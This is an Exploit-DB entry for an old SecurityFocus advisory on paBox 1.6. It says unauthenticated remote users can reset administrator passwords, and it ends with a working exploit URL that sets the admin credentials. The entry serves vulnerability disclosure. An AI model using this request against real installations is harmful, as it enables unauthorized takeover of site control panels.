PABox 1.6 - Password Reset

EDB-ID:

22845

CVE:

N/A




Platform:

PHP

Date:

2003-06-30


source: https://www.securityfocus.com/bid/8067/info

paBox is prone to an issue that may allow unauthenticated remote users to reset administrative passwords. This could permit unauthorized access to the administrative Control Panel.

http://www.example.com/thebox/admin.php?act=write&username=admin&password=admin&aduser=admin&adpass=admin